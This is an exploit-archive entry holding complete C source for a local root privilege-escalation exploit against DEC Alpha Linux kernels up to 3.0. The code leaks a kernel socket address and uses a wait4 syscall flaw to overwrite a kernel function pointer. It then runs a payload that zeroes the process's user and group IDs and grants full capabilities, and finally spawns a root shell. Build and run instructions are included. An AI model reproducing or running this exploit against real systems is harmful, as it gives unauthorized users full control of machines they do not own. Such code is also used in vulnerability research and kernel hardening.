DEC Alpha Linux <= 3.0 Local Root Exploit

2011-06-11T00:00:00
ID 1337DAY-ID-16313
Type zdt
Reporter Dan Rosenberg
Modified 2011-06-11T00:00:00

Description

Exploit for linux platform in category local exploits

                                        
                                            /*
 * DEC Alpha Linux <= 3.0 local root exploit
 * by Dan Rosenberg (@djrbliss)
 *
 * Usage:
 * $ gcc alpha-omega.c -o alpha-omega
 * $ ./alpha-omega
 *
 * Notes:
 * -Payload specific to <= 2.6.28 (no cred struct, modify as needed)
 * -Socket trigger tested on 2.6.28 (adjust offset as needed)
 * -INET_DIAG parsing code borrowed from netstat
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
 
#define SYS_osf_wait4 7
#define SOCK_OFFSET 552         /* Offset of sk_destruct fptr in sock
                     * struct, change for your kernel */
#define PAGE_SIZE 8192          /* DEC alpha page size is 8K */
#define KERNEL_BASE 0xfffffc0000000000  /* DEC alpha PAGE_OFFSET */
#define TASK_STRUCT_OFFSET 64       /* task_struct offset in thread_info */
#define PAYLOAD 0x20000
#define PORT 31337
 
static int uid, gid;
 
/* Writes (0xff & value) << 8 to addr */
void kernel_write(unsigned long addr, int value)
{
    int pid = fork();
 
    if (pid) {
        /* wait4 backdoor number two? ;) */
        syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1);
        return;
    } else {
        exit(value);
    }
}
 
/* Get the INET_DIAG cookie for our socket, which contains the low 32 bits
 * of the sock struct address */
unsigned int get_cookie(unsigned int port)
{
    int fd;
    struct sockaddr_nl nladdr;
    struct {
        struct nlmsghdr nlh;
        struct inet_diag_req r;
    } req;
    struct msghdr msg;
    char buf[8192];
    struct iovec iov;
    struct inet_diag_msg *r;
 
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0)
        return -1;
     
    memset(&nladdr, 0, sizeof(nladdr));
    nladdr.nl_family = AF_NETLINK;
     
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = TCPDIAG_GETSOCK;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_pid = 0;
    req.nlh.nlmsg_seq = 123456;
    memset(&req.r, 0, sizeof(req.r));
    req.r.idiag_family = AF_INET;
    req.r.idiag_states = 0xfff;
    req.r.idiag_ext = 0;
 
    iov.iov_base = &req;
    iov.iov_len = sizeof(req);
     
    msg = (struct msghdr) {
        .msg_name = (void*)&nladdr,
        .msg_namelen = sizeof(nladdr),
        .msg_iov = &iov,
        .msg_iovlen = 1,
    };
     
    if (sendmsg(fd, &msg, 0) < 0) {
        close(fd);
        return -1; 
    }
     
    iov.iov_base = buf;
    iov.iov_len = sizeof(buf);
     
    while (1) {
        int status;
        struct nlmsghdr *h;
             
        msg = (struct msghdr) {
            (void*)&nladdr, sizeof(nladdr),
            &iov, 1, NULL, 0, 0
        };
             
        status = recvmsg(fd, &msg, 0);
             
        if (status < 0) {
            if (errno == EINTR)
                continue;
            close(fd);
            return -1;
        }
             
        if (status == 0) {
            close(fd);
            return -1;
        }
         
        h = (struct nlmsghdr*)buf;
        while (NLMSG_OK(h, status)) {
            if (h->nlmsg_seq == 123456) {
                if (h->nlmsg_type == NLMSG_DONE) {
                    close(fd);
                    return -1;
                }
                 
                if (h->nlmsg_type == NLMSG_ERROR) {
                    close(fd);
                    return -1;
                }
                 
                r = NLMSG_DATA(h);
                if (r->idiag_family == AF_INET &&
                    ntohs(r->id.idiag_sport) == port)
                    return r->id.idiag_cookie[0];
                 
            }
            h = NLMSG_NEXT(h, status);
        }
    }
    close(fd);
    return -1;
}
 
/* Get the address of the sock struct for our socket */
unsigned long get_sock_addr(unsigned int port)
{
    FILE *f;
    char buf[1024], path[512];
    unsigned int testport, cookie, a;
    unsigned long addr, b;
 
    f = fopen("/proc/net/tcp", "r");
 
    if (f < 0) {
        printf("[*] Failed to open /proc/net/tcp\n");
        return 0;
    }
 
    while (fgets(buf, 1024, f)) {
        sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X "
                "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u "
                "%d\n",
                &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b,
                &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a,
                &a);
        if (testport == port) {
            /* If kptr_restrict is on... */
            if (!addr) {
                cookie = get_cookie(port);
                addr = (unsigned long)cookie + KERNEL_BASE;
            }
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    return 0;
}
 
void getroot()
{
    int i;
    /* Alpha has 16K stacks */
    unsigned long thread_info = (unsigned long)&i & ~0x3fff;
    unsigned long task_struct = *(unsigned long *)(thread_info +
                            TASK_STRUCT_OFFSET);
    int *j = (int *)task_struct;
 
    for (i = 0; i < 1000; i++, j++) {
 
        if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
            j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {
 
            /* uid, euid, suid, fsuid */
            j[0] = j[1] = j[2] = j[3] = 0;
 
            /* gid, egid, sgid, fsgid */
            j[4] = j[5] = j[6] = j[7] = 0;
 
            /* caps */
            j[10] = j[11] = 0xffffffff;
            j[12] = j[13] = 0xffffffff;
            j[14] = j[15] = 0xffffffff;
 
            break;
        }
    }
}
 
void trampoline()
{
 
    asm volatile(   "mov %0, $0\n"
            "ldq $27, 0($0)\n"
            "jsr $26, ($27)\n"
            : : "r"(PAYLOAD));
 
}
 
int main(int argc, char * argv[])
{
    unsigned long target, *payload;
    void *landing;
    int sock;
    struct sockaddr_in addr;
    size_t len;
 
    uid = getuid();
    gid = getgid();
 
    printf("[*] Opening TCP socket...\n");
    sock = socket(AF_INET, SOCK_STREAM, 0);
 
    if (sock < 0) {
        printf("[*] Failed to open TCP socket.\n");
        return -1;
    }
 
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = INADDR_ANY;
 
    if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
        printf("[*] Failed to bind TCP socket.\n");
        return -1;
    }
 
    /* Our socket won't appear in /proc/net/tcp unless it's listening */
    if (listen(sock, 1)) {
        printf("[*] Failed to listen on TCP socket.\n");
        return -1;
    }
 
    printf("[*] Getting socket address from INET_DIAG...\n");
    target = get_sock_addr(PORT);
 
    if (!target) {
        printf("[*] Failed to get socket address.\n");
        return -1;
    }
 
    printf("[*] Socket address: %lx\n", target);
 
    target += SOCK_OFFSET;
 
    printf("[*] Mapping payload...\n");
 
    landing = mmap((void *)0x10000, PAGE_SIZE, PROT_READ | PROT_WRITE |
            PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
            0, 0);
 
    /* We need to keep the address of our payload at a constant address,
     * so we can retrieve it and jump to it in our trampoline. */
    payload = (unsigned long *)mmap((void *)PAYLOAD, PAGE_SIZE,
            PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE |
            MAP_ANONYMOUS | MAP_FIXED, 0, 0);
 
    if (landing == MAP_FAILED || payload == MAP_FAILED) {
        printf("[*] Failed to map payload.\n");
        return -1;
    }
 
    *payload = (unsigned long)&getroot;
 
    memcpy((void *)landing, &trampoline, 256);
 
    printf("[*] Overwriting function pointer at %lx...\n", target);
    kernel_write(target, 0);
    kernel_write(target + 4, 0);
    kernel_write(target + 1, 1);
 
    printf("[*] Triggering payload...\n");
    close(sock);
 
    if (getuid()) {
        printf("[*] Failed to get root.\n");
        return -1;
    }
 
    printf("[*] Got root!\n");
    execl("/bin/sh", "sh", NULL);
}



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